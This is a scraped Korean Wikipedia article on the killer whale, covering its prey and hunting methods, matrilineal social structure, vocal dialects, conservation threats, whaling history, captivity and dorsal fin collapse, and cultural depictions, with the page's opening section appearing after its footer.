흰 범고래를 목격했다.[34] 사냥 대상[편집] 비이주성 범고래. 휜 등지느러미는 이런 암컷의 특징이다. 범고래는 생태계 최상위에 있는 포식자이며, 무리 지어 사냥하기도 하기 때문에 종종 바다의 늑대라고 불린다.[35] 범고래는 하루에 평균 227킬로그램의 먹이를 섭취한다.[36] 범고래의 먹이는 다양하지만 어떤 지역의 개체들은 먹이의 종류가 제한되어 있기도 하다. 예를 들어 노르웨이와 그린란드 연안에 사는 범고래들은 청어를 주로 사냥하며 매해 가을 청어 떼의 이동 경로를 따라다니는 것이 확인되었다. 바다사자를 사냥하기도 한다. 조사에 따르면 북동 태평양에 존재하는 비이주성 범고래군은 65퍼센트의 먹이가 연어이며[3] 어린 연어 어군은 공격하지 않는 행동이 목격되었다. 비이주성 범고래가 다른 해양포유류를 사냥하는 것은 목격된 적은 없지만, 돌고래나 바다사자를 이유 없이 학대해 죽이는 장면은 보고된 바가 있다.[3] 물고기와 여타 냉혈동물[편집] 30종류의 물고기를 범고래가 먹는데 그 중에는 연어, 청어, 다랑어 등이 있고 가끔 상어도 사냥한다. 상어 중에서도 심지어 다른 최상위 포식자인 백상아리를 사냥하기도 한다.[37] 백상아리의 신체 부위 중에서도 간을 주로 먹는 것으로 여겨진다.[38] 다만 이것은 절대로 흔한 일이 아니고 범고래도 상어를 공격할 때 신중을 기한다. 또한 범고래는 상어를 사냥할 때 자기보다 훨씬 작은 개체들이라도 굳이 기습을 해 상어를 뒤집어 놓은채로 사냥하는데, 이는 상어들의 날카로운 이빨과 강력한 턱에 물리면 치명상을 입을 수 있기 때문이다. 그래서 범고래가 뒤집을 수 없을 정도의 크기인 4 m가 넘는 백상아리들은 범고래들이 떼지어 덤비거나 건드리지 않는다. 뉴질랜드에서는 가오리를 사냥하는 것도 목격되었다. 오징어나 문어 같은 무척추동물이나 바다거북 같은 파충류도 사냥한다. 연어는 혼자 혹은 작은 무리를 지어 사냥한다. 하지만 청어를 사냥하는 방법은 다르다. 범고래 무리들은 청어를 일정지역으로 몰아 때려쳐서 잡는다고 알려져 있다. 이러한 사냥법은 노르웨이 해안이나 일부 돌고래에게서만 목격되었다.[39] 다른 포유류[편집] 남극의 빙산군 사이를 헤엄치는 범고래. 얼음 위에 고립되어 있는 아델리펭귄 무리가 보인다. 범고래가 무려 22개 종의 고래류를 사냥한다는 사실이 위장(胃腸) 분석, 직접 목격 등으로 확인되었다. 범고래 무리는 대체로 자신들보다도 큰 쇠정어리고래나 귀신고래 등을 공격하며, 심지어 경우에 따라서는 향고래나 대왕고래를 습격하기도 한다. 보통 어리고 약한 개체를 목표로 삼지만 여러 마리가 협동하여 더 강한 개체도 사냥할 수 있다. 어린 다른 고래를 사냥할 때는 어미로부터 억지로 떼어놓는 전략을 사용한다. 범고래들은 먹이가 되는 목표를 끈질기게 추적하며, 이에 따라 목표는 고립되고 숨이 부족해 질식사하게 된다. 암컷 향고래는 때때로 무리를 지음으로써 자신들과 새끼들을 보호할 수 있다. 이들이 대형 고래를 사냥하는 데에는 많은 시간이 걸린다. 범고래의 먹이가 되는 해양 포유류는 바다표범, 물개, 바다사자, 바다코끼리, 해달 등이 있다. 범고래는 목표를 찾고 제압하기 위해 복잡한 전략을 이용한다. 바다사자들은 박치기나 꼬리의 타격으로 제압하며, 던져서 죽이기도 한다. 고도의 사냥방법을 이용하는 것 또한 목격되었다. 아르헨티나 해안에서는 범고래는 주로 남아메리카바다사자와 남방코끼리물범을 사냥하기 위해 수심이 얕은 지역에도 나타나는데, 바닷가에서 직접 목표를 끌어내기도 한다. 이럴 경우 바닷가에 고립되어 치명적일 수가 있는데 이는 본능에 따른 것이 아니다. 어미들은 새끼에게 사냥법을 가르치기 위해 얕은 바다를 잘 이용한다. 새끼를 가르치기 위해 해안으로 먹잇감을 몰고 필요할 때는 바다로 끌어올 준비를 한다.[9] 빙산 위에 거주하는 바다사자를 사냥하기 위해서는 다른 사냥법을 이용한다. 목표의 위치를 확인한 후 파도를 일으켜서 목표가 바다로 빠지게 하는 것이다. 그런 뒤에는 다른 범고래가 뒷처리를 한다. 하지만 그렇게 함으로써 반드시 목표를 죽이지는 않는데, 아마도 새끼에게 사냥법을 가르치는 과정에서 살려 주는 경우도 있는 것으로 생각된다.[40] 범고래가 사슴, 엘크 같은 육상 포유류를 사냥하는 것 또한 관찰되었다. 주로 해안가의 섬 사이를 건널 때 노리는 것으로 여겨진다.[41] 조류[편집] 범고래가 펭귄이나 가마우지, 갈매기와 같은 조류를 사냥하는 것 또한 확인되었다. 사육되는 범고래가 자신이 먹은 먹이를 토해내서 갈매기를 유인해 잡아먹고, 다른 개체들이 그 방법을 습득한 경우가 있었다.[42][43] 행동[편집] 범고래의 하루 일과는 대개 사냥, 여행, 휴식, 사교로 이루어져 있다. 범고래는 수면에서 매우 활동적인 생태를 보이며, 고개 내밀기, 고래뛰기, 꼬리치기 등의 행동을 한다. 이러한 활동은 구애, 의사소통, 기생충 제거, 놀이 등 여러 가지 목적이 있을 수 있다. 특히 물 위로 머리만 빠끔 내미는 고개 내밀기(Spyhopping)는 범고래가 주위 환경을 더 잘 볼 수 있게 해준다.[44] 사회 구조[편집] 몸 전체를 수면위로 올리는 범고래 범고래는 복잡하지만 아주 안정적인 사회를 형성한다. 비이주성 범고래 무리는 다른 포유류의 사회보다도 더욱 더 안정적이며, 양성의 개체가 평생 어미와 함께 살면서 모계 사회를 형성한다. 암컷의 수명이 최대 90년 정도로 긴 편이기 때문에 4대에서 5까지 대가족을 형성하는 것을 자주 볼 수 있다. 모계선은 상당히 안정적이며, 개체가 이들에게 떨어져 나가는 것은 먹이를 찾거나 짝짓기를 하는 때를 제외하고는 거의 없다. 개체가 무리에서 추방되는 것 또한 확인된 바가 없다.[45] 모계를 중심으로 친척이 모이는 경우도 있으며, 개체 수는 무리당 평균 18마리 정도이며, 울음소리에 독특한 방언이 있다. 하지만 먹이 때문에 몇 주 동안 무리가 나뉠 수는 있다. 이들간의 근친 교배는 없으며, 반드시 다른 무리의 개체와 짝짓기를 한다. 무리는 최대 50마리의 개체를 포함할 수 있다. 때때로 무리끼리 모여서 150마리 이상의 군체를 형성하기도 한다. 비이주성 무리는 부(副)무리를 포함하기도 하는데, 암컷의 자식이나 사촌들로 이루어진다. 비슷한 방언을 지닌 무리끼리 모여 무리를 형성하는 경우도 있다. 이들은 대개 모계 쪽으로 같은 조상에서 내려온 것이다. 여러 군락이 같은 지역에 서식할 수 있으며, 때로는 같이 이동하기도 한다. 무리가 군락을 형성할 경우는 서로 환영 의식을 행한다. 군락의 상위에 있는 최상의 단계는 공동체이다. 이들은 뚜렷한 유대감이 존재하지 않으며 공통된 방언을 쓰지는 않지만, 서로 어울려 다닌다.[46] 이주성 무리의 집단은 상대적으로 작은 편인데, 자식들이 커감에 따라 서서히 모계에서 분화되어 가기 때문이다. 하지만 이주성 무리 간에도 깊지는 않지만 방언으로 인해 서로 간의 관계가 성립된다. 노래[편집] 다른 돌고래처럼 범고래 또한 노래를 많이 이용한다. 서로 의사소통을 하는 데에는 틱틱하는 소리와 휘파람을 주로 사용한다. 활동에 따라 노래는 달라진다. 쉬고 있을 때는 더욱 조용하며, 종종 신호를 보낸다. 북동 태평양의 비이주성 범고래는 이주성 개체보다 더욱 노래를 더 많이 이용한다.[47] 비이주성 개체는 다른 해양 포유류를 만날 때 자신들의 존재를 알리기 위해 신호를 보낸다. 이주성 범고래는 주로 청각이 예민한 다른 포유류를 먹기 때문에 상대적으로 조용하다. 필요할 때에는 작은 소리를 낸다. 비이주성 무리는 독특한 방언을 사용한다. 무리 안의 각 개체는 무리 안에서 쓰이는 독특한 신호를 기억하는 것으로 보인다. 무리마다 독특한 신호가 있어 다른 무리와는 소통이 되지 않을 수도 있다. 하지만 같은 조상에서 분화된 무리 사이에서는 공통되는 신호가 많이 존재할 수 있다. 어미는 새끼를 무리의 방언으로 교육시키는 것으로 보인다. 간단한 것으로 시작해서 새끼가 독특한 방언을 점차적으로 익힐 수 있게 한다. 이는 방언은 본능과 동시에 습득되는 것이라는 것을 말해 준다. 지능[편집] 범고래가 방언을 사용하는 것과 대대로 습득한 지식을 전달하는 것은 문화 중에 하나로 인식되어 왔다. “고래와 돌고래의 문화”라는 논문[48] 에서는 “범고래 무리의 안정된 언어와 행동 문화는 인간 외의 동물이 가진 것들과는 견줄 수 없다.”라고 말하고 있다. 1968년에서 1971년까지 미 해군은 워싱턴주에서 포획된 두 수컷을 군사용으로 활용하려 했지만, 한 마리는 1971년 2월 17일부터 행방 불명이 되었으며, 나머지 한 마리는 1974년에 죽었다.[49] 그 둘의 이름은 각각 소설 《모비 딕》에 나오는 주요 인물인 에이합(Ahab)과 이시마엘(Ishmael)이며, 전자가 실종되어 돌아오지 않은 개체의 이름이다. 보전 상태[편집] 어미와 새끼 환경 파괴 및 먹이의 감소, 어업과의 충돌, 서식처 조건 악화는 전 세계적으로 범고래의 생존을 위협하는 가장 중대한 요소들이다.[3][5] 먹이사슬의 다른 최상위 포식자처럼 범고래는 폴리염화 비페닐(PCB)와 같은 독성 물질이 쌓이는 것에 치명적이다. 워싱턴주 해안의 개체를 조사한 결과 유럽의 항구물범보다 PCB 축적 농도가 높다고 조사되었다. 노르웨이 연안의 범고래 지방 조직에서의 PCB, 살충제, 브롬화난연제(BFR) 농도가 심지어 북극곰보다도 높다고 나타났다. 연어같은 먹이의 감소는 비이주성 무리에게 영향을 준다. 또, 이주성 무리의 먹이인 물범과 바다사자의 개체가 줄어든 것도 확인되었다.[3] 이렇게 먹이가 줄어들면 범고래는 자신의 지방 조직에서 에너지를 생산할 수밖에 없는데, 이럴수록 범고래는 오염 물질에 취약할 수밖에 없다. 일부 비이주성 무리는 보호종으로 지정되었지만, 눈에 띄게 개체 수가 줄어들고 있다.[50] 배의 소음 공해와 같은 인간 활동은 범고래의 의사소통을 방해할 수 있다. 연어 농장에서 나는 소리가 물범을 몰아내기 위해 쓰이기도 하였지만, 결과적으로 범고래도 이 지역을 피했다.[51] 여러 나라의 해군이 사용하는 초음파 탐지도 부정적인 영향을 끼칠 수 있다.[52] 범고래는 또한 고래 관찰의 중요한 대상이 되고는 하는데, 배가 무리에 너무 가까이 접근하거나 이동 경로를 막을 때 스트레스를 주거나 행동 변화를 줄 수 있다.[53] 알래스카에서 일어난 기름 유출 사고는 그 지역의 범고래 무리에게 악영향을 끼쳤다. 사고 이후 연어같은 먹이가 줄어들게 되었으며, 이는 범고래들에게 장기적으로 영향을 줄 것으로 여겨진다. 또한 일부 지역에서 이주성 무리 중 유출 사고에 영향을 받은 개체들이 생식 불능이 됐다는 연구 결과가 있으며, 이들이 향후에 멸종될 가능성이 있는 것으로 보인다.[54] 인간과의 관계[편집] 종으로 확인된 것은 1758년이지만, 인간은 오래전부터 범고래의 존재를 알고 있었다. 문헌에서는 기원전 70년경에 나타난다.[55] 포경업[편집] 노르웨이 연안에서 헤엄치는 성체 수컷 12세기에서 20세기 중반에 개체수가 줄어들 때까지 범고래는 포경의 대상이 되었다. 범고래의 상업적 포경은 1981년에 선포된 포경업 일시 중지로 멈췄다(범고래는 돌고래에 가깝지만 덩치가 크기 때문에 IWC의 제재 대상이 될 수 있었다.). 노르웨이는 1938년부터 1981년까지 해마다 평균 56마리를 잡았다. 한편 일본은 1946년부터 1981년까지 해마다 평균 43마리를 잡았다(전쟁 시의 포획 수는 알려져 있지 않다.). 소련은 1980년에 916마리를 잡았지만, 주로 남극에서 적은 숫자만을 포획했다. 현재는 어느 나라도 범고래를 대대적으로 포획하지 않는다. 생존을 위한 소규모 포획은 주로 인도네시아와 그린란드에서 이루어진다. 포경업 외에도, 범고래는 어업 활동에 지장을 준다는 이유로 살해되어 왔다. 1950년대에는 아이슬란드 해안 조업에 지장을 준다는 이유로, 정부의 요청에 따라 미군이 폭격기와 저격수를 이용해 범고래 무리를 학살하기도 하였다. 결과는 당시에 성공적이었다고 알려졌지만 과도한 어획을 더 비난하는 목소리도 적지 않았다. 이러한 토론은 아직도 지속되고 있으며, 북대서양의 어군 연구를 진행되게 하였다. 범고래가 인간의 포경 작업을 돕기도 한다고 알려져 있다. 상대를 무리지어 한 곳으로 몰고, 포경업자에게 고래의 위치를 알리고, 심지어 죽이는 데까지 동참하기도 하였다. 이러한 일을 한 범고래로는 1840년부터 1930년까지 남부 오스트레일리아 해안에서 서식한 ‘톰’이라는 수컷이며, 이 개체의 유골은 기념을 위해 이 지역의 고래 박물관에 전시되어 있다. 범고래에 대한 공포는 해양공원의 전시 등으로 많이 사라졌다. 사육되는 범고래[편집] 범고래의 지능 및 길들이기 쉽다는 것, 생김새, 크기, 사람과 놀아 주기를 좋아하는 성격은 이들을 전 세계 수족관에 곧잘 전시되는 해양 포유류로 만들었다. 이들을 처음으로 기르기 시작한 곳은 1964년 밴쿠버에 있는 수족관이며, 그 뒤로 15년 동안 60에서 70마리의 범고래가 태평양에서 포획되어 길러지게 되었다. 이렇게 사육을 위해 직접 포획됨에 따라 이 지역의 비이주성 무리가 위협을 받고 있다.[9] 1970년대에서 1980년대 초반까지는 주로 아이슬란드 해협에서 채집되었다. 이후 범고래는 인간들의 사육을 통해 성공적으로 번식하였다. 범고래 사육은 많은 논란을 일으키고 있으며, 많은 단체가 이를 막기 위해 계몽 운동을 펼치고 있다. 사육될 때 등지느러미의 붕괴를 비롯하여 여러 가지 신체적 이상이 생겼으며, 이는 60-90퍼센트의 수컷에게 관찰되고 있다. 사육되는 범고래는 수명이 야생에서보다 짧으며, 30에서 40년 정도를 사는 경우도 있지만 평균 수명은 20년 정도에 불과하다. 그에 비해 야생에서 암컷은 80년을 사며, 수컷은 60년을 산다. 사육 환경은 야생과 전혀 다르며 보통 다른 사회 무리의 개체와 섞여 사육된다.[56] 야생에 비해 턱없이 작은 수조, 기형적인 사회 구조, 그리고 화학적으로 처리된 물이 범고래들에게 스트레스를 준다는 비판이 있으며, 그럼으로써 사육상의 범고래는 자기 자신, 다른 범고래나 심지어 사람에게 공격적으로 변모하기도 한다. 등지느러미 붕괴[편집] 올랜도의 씨월드에 있는 등지느러미가 붕괴된 수컷 사육되는 범고래의 등지느러미 붕괴는 대부분 수컷에게 발생하며, 때때로는 암컷에게도 발생한다. 부분적으로나 한쪽으로 완전히 붕괴되기도 하는데, 이 현상을 설명하는 데에는 여러 가지 이론이 있다. 등지느러미는 콜라겐 조직 때문에 우뚝 설 수 있다. 한편에서는 등지느러미 붕괴가 범고래들의 병으로부터 발생되지는 않는다고 하였으며, 대신 콜라겐 조직의 영구적인 변형으로 발생하는 것으로 설명한다. 원인은 환경과 식성 변경, 단순화된 활동 패턴에 따른 저혈압 또는 콜라겐 조직의 장기적인 열 때문이라는 설이 있다.[57] 씨월드의 가설에 따르면, 사육상의 범고래는 자주 물에 떠오를 수밖에 없기 때문에 콜라겐 조직에 무리가 가서 변형된다고 한다.[58] 고래와 돌고래를 보호하는 사회는 야생보다 턱없이 작은 환경 때문이라고 주장한다.[59] 씨월드에 따르면, 등지느러미의 변형은 각 개체의 건강 상태를 나타내는 지표가 아니라고 한다.[58] 한편 야생에서는 등지느러미가 붕괴되는 일은 그다지 없으며, 있다 하더라도 배와의 충돌 등에서 생기는 경우뿐이다.[57] 기름 유출 사고 이후 기름에 노출된 개체들의 등지느러미가 붕괴되었으며, 끝내 죽고 말았다. 해안가에서 고립된 개체들의 등지느러미가 붕괴된 것이 목격된 바가 있지만, 바다로 돌아간 후 원래 모습을 되찾은 것이 확인되었다.[57] 뉴질랜드 연안에 서식하는 23퍼센트의 개체가 휜 등지느러미를 가진다고 보고[58][60] 되었지만, 이들은 여러 가지 변형을 모두 포함한다.[61] 뉴질랜드의 연구에 따르면, 30마리 중 2마리는 몸 전체에 많은 흉터를 지니고 있음이 드러났다.[61] 브리티시 컬럼비아 해안에서의 변형률은 4.7퍼센트이며 노르웨이에서는 0.57퍼센트이다.[61] 인간을 공격한 사례[편집] 드물지만 야생 범고래가 인간에게 해를 끼친 예는 몇 번 확인되었다. 일례로, 알래스카에서 수영을 하던 소년이 범고래에게 쫓긴 사건과 탐험대가 정박하고 있던 얼음을 흔들리게 했던 적이 있다.[62] 범고래에게 쫓긴 소년이 살던 곳은 알래스카에서도 항구물범이 많이 서식하는 지역이며, 범고래는 소년을 물범 중 하나로 오인한 것으로 보인다. 소년을 쫓기는 했었으나 물지는 않았다. 탐험대에게 일어난 사건에는 개가 끄는 썰매가 물범처럼 보여 범고래들을 부추긴 것으로 보인다. 인터넷 상에 돌아다니기도 하는 공격 영상은 조작된 것이 많다. 공격 사례는 오히려 사육되는 개체가 저지른 경우가 많다. ABC뉴스는 1970년대부터 24명정도의 인간을 공격했다고 보고했다.[63] 다른 공격 사례[편집] 잘 알려진 공격 사례는 1989년 8월, 씨월드에서 일어났다. 칸두 V라는 힘센 암컷이 새로 들어온 코키 II를 쇼 도중에 공격한 것이다. 코키 II는 태평양 마린랜드에서 들여왔으며, 사건 당시에 큰 소리가 났다. 조련사들이 이 범고래를 진정시키려고 노력했지만 칸두 V의 턱에 있는 동맥은 손상되어 있는 상태였다. 관중들은 공연장 밖으로 대피했으며, 45분 뒤 칸두 V는 사망했다. 본 프리(Born Free Foundation)라는 동물 보호 단체에서는 씨월드에 코키 II를 계속 사육하는 것에 대해 비판했으며 씨월드가 코키 II를 브리티시컬럼비아에 있는, 가족이 있는 고향으로 돌려 보내기를 원했다.[64] ‘나무’라는 사육되던 개체는 세균성 감염 때문에 신경계가 손상되었으며, 그에 따라 사람에게 반응하지 않게 되었다. 결국에는 살던 우리에 전속력으로 전진해 요동치다가 몇 분 뒤에 죽었다.[65] 그에 대한 다큐멘터리가 뒤에 만들어졌다.[66] 문화[편집] 섬을 범고래와 고래가 둘러싸는 모습을 그린 그림 북아메리카 북서 지방의 원주민 문화, 종교 관련물에는 범고래가 많이 등장한다. 시베리아 유피크 원주민의 전래 동화에 따르면, 늑대와 범고래는 같은 존재로서 겨울이 되면 늑대로 여름이 되면 범고래로 변한다는 믿음이 전해 내려온다.[67][68][69][70] 범고래는 바다에서 바다코끼리를 몰면서 사냥꾼을 돕는다는 믿음이 있다.[71] 배에 범고래의 그림을 새기거나 사냥할 때에 범고래가 새겨진 나무판을 걸고 다니면서 범고래를 숭앙했던 것으로 보인다.[72] 범고래들에 대한 예의로 담배를 바다에 던지기도 하였다.[71] 범고래가 늑대로 변한 뒤에도 순록을 몰아줌으로써 사냥꾼들을 돕는 것으로 여겨졌다.[70] 서방의 문학에서는 Orca라는 이름으로 이따금 등장하기도 했다. 하지만 이곳에서는 대개 사람을 해치는 바다괴물로 묘사되었다. 이러한 묘사는 1970년대까지 지속되었다. 영화 《오르카》는 인간 때문에 짝을 잃은 수컷이 복수심으로 말미암아 광포하게 행동함을 묘사한다. 이 영화는 오르카가 복수할 수도, 결말에는 끝내 인간을 용서할 수도 있는 지능을 지니고 있음을 간접적으로 보여 주고 있다. 《죠스》라는 영화에서는 백상아리를 사냥하는 배의 이름이 “오르카”였다. 최근에 범고래에 대한 연구가 늘고 해마다 인기가 증가하면서 범고래의 늑대 같은 이미지는 지워져 버렸다. 지금은 바다의 포식자이면서 인간에게는 해를 끼치지 않는 동물로 인식되고 있다. 애니메이션 영화 《해피피트》에서는, 주인공 일행을 공격한 2마리의 수컷 범고래를 강력하고 영리한 포식자이자 놀기를 좋아하는 동물로 묘사했으며, 인간이 일으킨 해양 오염의 많은 피해자 중에서 하나로 표현하였다. 이들 중 한 범고래는 프로펠러에 입은 상처를 지니고 있으며, 배에 대한 공포심이 강한 것으로 묘사된다. 범고래의 부정적인 이미지는 수면에서 옅보기, 빙산 흔들기와 먹잇감을 차거나 던지는 데에서 비롯하였다. 영화 《프리윌리》는 사육되는 범고래를 놓아 주려는 과정을 그리고 있다. 케이코라는 아이슬란드 해협에서 채집된 수컷이 주인공으로 등장한다. 오리건의 수족관에서 재활을 거친 후에 고향으로 되돌아갔지만, 그 뒤에도 인간에게 의지할 수밖에 없었으며, 2003년 12월에 폐렴으로 세상을 떠나고 말았다. 《포켓몬스터》에 등장하는 전설의 포켓몬 가이오가의 외형으로, 본래의 모티브는 레비아탄. 참고로 가이오가는 게임 내에서 최강의 물 포켓몬이다. 《침략! 오징어 소녀》의 오징어 소녀가 제일 무서워 하는 동물로 등장하였다. 각주[편집] ↑ “Orcinus orca”. 《멸종 위기 종의 IUCN 적색 목록. 2013.2판》 (영어). 국제 자연 보전 연맹. 2013. 2014년 6월 5일에 확인함.  ↑ Mead, J.G.; Brownell, R.L., Jr. (2005). 〈Order Cetacea〉 [고래목]. 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Robin W Baird Killer Whales of the World (2002) Voyageur Press, Stillwater, MN 외부 링크[편집] 위키미디어 공용에 관련된미디어 자료가 있습니다. 범고래 위키생물종에 관련된분류 및 자료가 있습니다. 범고래 위키낱말사전에관련된 항목이 있습니다. 범고래 사진과 영상자료 Orca-Live - Orcas in Johnstone Strait, British Columbia CNN: Clash of the Titans October 8, 1997 - Orca killing a Great White Shark Killer whale images, Tysfjord, Norway Orcafilm from Lofoten Islands Monterey Bay Whale Watch Photos: Killer Whales Attacking Gray Whales Video:Orca Attack Seal with Waves(Youtube) Video:Faked attack on Kayaker(Youtube) 지역별 북동태평양: Southern Residents (research by under/graduates at Beam Reach) Residents of the Pacific Northwest (general info from The Whale Museum) Residents of Southern Alaska (research) Southern Residents (Human-Orca Interaction) 북대서양과 북극해: Research project studying Killer whales in the Norwegian Arctic 남반구 해양: New Zealand, Papua New Guinea and Antarctic orca research 일반 정보 Killers of Eden Whale and Dolphin Conservation Society vdeh현존하는 고래하목의 종 계: 동물계 문: 척삭동물문 강: 포유강 하강: 진수하강 상목: 로라시아상목 목: 우제목/경우제목 수염고래소목참고래과북극고래속 북극고래 참고래속 남방참고래 북대서양참고래 북태평양참고래 수염고래과대왕고래속 밍크고래(북방쇠정어리고래) 남극밍크고래(남방쇠정어리고래) 보리고래 브라이드고래 에덴고래 대왕고래 오무라고래 큰고래 혹등고래속 혹등고래 귀신고래과귀신고래속 귀신고래 꼬마긴수염고래과꼬마긴수염고래속 꼬마긴수염고래 이빨고래소목보토과보토속 아라과이아강돌고래 볼리비아강돌고래 아마존강돌고래 프란시스카나과프란시스카나속 프란시스카나 양쯔강돌고래과양쯔강돌고래속 양쯔강돌고래 인도강돌고래과인도강돌고래속 인도강돌고래 참돌고래과흑백돌고래속 머리코돌고래 칠레돌고래 하비사이드돌고래 헥토르돌고래 참돌고래속 긴부리참돌고래 짧은부리참돌고래 들고양이고래속 들고양이고래 거두고래속 들쇠고래 참거두고래 큰코돌고래속 큰코돌고래 사라왁돌고래속 사라왁돌고래 낫돌고래속 대서양흰줄무늬돌고래 흰부리돌고래 필돌고래 모래시계돌고래 낫돌고래 흰배낫돌고래 고추돌고래속 북방고추돌고래 남방고추돌고래 강거두고래속 강거두고래 오스트레일리아강거두고래 범고래속 범고래 고양이고래속 고양이고래 흑범고래속 흑범고래 정글참돌고래속 투쿠시 기아나돌고래 혹등돌고래속 인도태평양혹등고래 인도혹등돌고래 오스트레일리아혹등돌고래 대서양혹등돌고래 중국흰돌고래 알락돌고래속 범열대알락돌고래 클리멘돌고래 줄무늬돌고래 대서양알락돌고래 긴부리돌고래 뱀머리돌고래속 뱀머리돌고래 큰돌고래속 남방큰돌고래 부르난큰돌고래 큰돌고래 외뿔고래과흰돌고래속 흰돌고래 외뿔고래속 외뿔고래 쇠돌고래과상괭이속 상괭이 쇠돌고래속 안경돌고래 쇠돌고래 바키타 버마이스터돌고래 까치돌고래속 까치돌고래 향고래과향고래속 향고래 꼬마향고래과꼬마향고래속 쇠향고래 꼬마향고래 부리고래과부리고래속 아르누부리고래 망치고래 병코고래속 북방병코고래 남방병코고래 열대병코고래속 열대병코고래 이빨부리고래속 소워비부리고래 앤드류부리고래 허브부리고래 혹부리고래 제르베부리고래 은행이빨부리고래 그레이부리고래 헥토르부리고래 데라냐갈라부리고래 끈모양이빨고래 트루부리고래 페린부리고래 꼬마부리고래 큰이빨부리고래 부채이빨부리고래 셰퍼드부리고래속 셰퍼드부리고래 민부리고래속 민부리고래 고래류의 종 목록 전거 통제 GND: 4328271-4 BNF: cb12350862r (데이터) NDL: 00576680 원본 주소 "https://ko.wikipedia.org/w/index.php?title=범고래&oldid=24468534" 분류: IUCN 적색 목록 정보부족종범고래해양 포유류1758년 기재된 동물숨은 분류: CS1 - 영어 인용 (en)CS1 관리 - 여러 이름인용 오류 - 날짜CS1 관리 - et al.의 직접적인 사용인용 오류 - 제목 없이 URL을 사용함라틴어 표기를 포함한 문서영어 표기를 포함한 문서고대 그리스어 표기를 포함한 문서인용 오류 - 오래된 변수를 사용함위키낱말사전과 연결된 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용위키생물종 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AfrikaansالعربيةAsturianuAzərbaycancaتۆرکجهБеларускаяБеларуская (тарашкевіца)‎Българскиབོད་ཡིགBrezhonegCatalàCebuanoᏣᎳᎩČeštinaCymraegDanskDeutschΕλληνικάEnglishEsperantoEspañolEestiEuskaraفارسیSuomiFøroysktFrançaisGaeilgeGàidhligGalegoAvañe'ẽ客家語/Hak-kâ-ngîעבריתHrvatskiMagyarՀայերենInterlinguaBahasa IndonesiaIñupiakIdoÍslenskaItalianoᐃᓄᒃᑎᑐᑦ/inuktitut日本語ქართულიҚазақшаKalaallisutLatinaLimburgsLietuviųLatviešuМакедонскиമലയാളംМонголBahasa MelayuNāhuatlNederlandsNorsk nynorskNorskNovialDiné bizaadOccitanPolskiپنجابیپښتوPortuguêsRomânăРусскийSicilianuDavvisámegiellaSrpskohrvatski / српскохрватскиSimple EnglishSlovenčinaSlovenščinaShqipСрпски / srpskiSvenskaதமிழ்తెలుగుไทยTagalogTürkçeТатарча/tatarçaУкраїнськаOʻzbekcha/ўзбекчаTiếng ViệtWinaray吴语中文Bân-lâm-gú粵語 링크 편집 이 문서는 2019년 6월 23일 (일) 08:47에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
범고래 - 위키백과, 우리 모두의 백과사전 범고래 위키백과, 우리 모두의 백과사전. (솔피에서 넘어옴) 둘러보기로 가기 검색하러 가기 범고래 알래스카 우니막 섬 가까이의 이주성 범고래 무리 사람(1.8m)과 비교한 크기(9m) 범고래의 소리 보전 상태 정보부족(DD), IUCN 3.1[1] 생물 분류 역: 진핵생물 계: 동물계 문: 척삭동물문 강: 포유강 목: 우제목/경우제목 아목: 경하마형아목 하목: 고래하목 소목: 이빨고래소목 과: 참돌고래과 속: 범고래속(Orcinus) 종: 범고래(O. orca) 학명 Orcinus orcaLinnaeus, 1758 범고래의 분포도 범고래(학명: Orcinus orca, 영어: killer whale 또는 orca[2])는 참돌고래과에 속하는 고래 중 큰 종이자, 극지방에서 열대지방에 이르기까지 널리 발견되는 이빨고래이다. 영화 프리 윌리에 나오는 고래로도 유명하다. 범고래는 능동적인 포식자이다. 이들의 주식은 여러 가지가 있는데 물고기를 주로 먹는 무리들이 있는가 하면 바다사자와 다른 고래를 포함한 젖먹이 동물을 사냥하는 무리도 있다. 범고래는 크게 다섯 종류로 나뉘며 이들을 아종이나 다른 종으로 구분해야 한다는 의견도 있다. 범고래는 매우 사회적인 동물이며 상당히 안정된 모계 사회를 형성하는 경우도 있다.[3] 사회행동과 사냥법 및 독특한 노래는 범고래들 특유의 문화를 보여 준다.[4] 다른과의 고래들과는 다르게 범고래는 전 세계적으로 멸종위기에 놓이지는 않으나 몇몇 지역군에서는 존망 위기를 맞고 있는데 해양오염과 먹이의 감소, 어선과의 충돌이 그 까닭이다. 야생범고래는 보통 인간에게 위협적인 존재로 여겨지지는 않으나[5], 해양공원에서 사육된 범고래가 조련사 등을 공격한 사례는 몇 건 있다.[6] 목차 1 분류 1.1 이름 2 외관 3 생애 4 분포 5 사냥 대상 5.1 물고기와 여타 냉혈동물 5.2 다른 포유류 5.3 조류 6 행동 6.1 사회 구조 6.2 노래 6.3 지능 7 보전 상태 8 인간과의 관계 8.1 포경업 8.2 사육되는 범고래 8.2.1 등지느러미 붕괴 8.2.2 인간을 공격한 사례 8.2.3 다른 공격 사례 8.3 문화 9 각주 10 참고 자료 11 외부 링크 분류[편집] 범고래속의 유일한 종인 범고래는 1758년에 린네가 처음으로 분류하였다.[7] 범고래는 참돌고래과의 35종 가운데 하나이다. 향고래가 향고래속에 유일하게 속하는 것처럼 범고래도 범고래속에 속하는 그 수가 많은 종이다. 고생물학자들은 범고래가 계통분화 없이 그대로 진화했다고 추측한다. 사실이라면 범고래는 가장 오래된 돌고래라 할 수 있게 된다. 전 세계 해양의 범고래들은 3가지에서 5가지로 나뉜다. 서로 간의 차이는 서로 큰 편이며 아종으로 구분하거나 심지어는 다른 종으로 여기기도 한다. 북미의 해안에서 1970년대부터 1980년대까지 이루어진 조사에 따르면 다음과 같은 세 종류가 있다. 비이주성: 북동아메리카 해안에서 흔히 관찰되는 종류이다. 주식은 물고기와 오징어 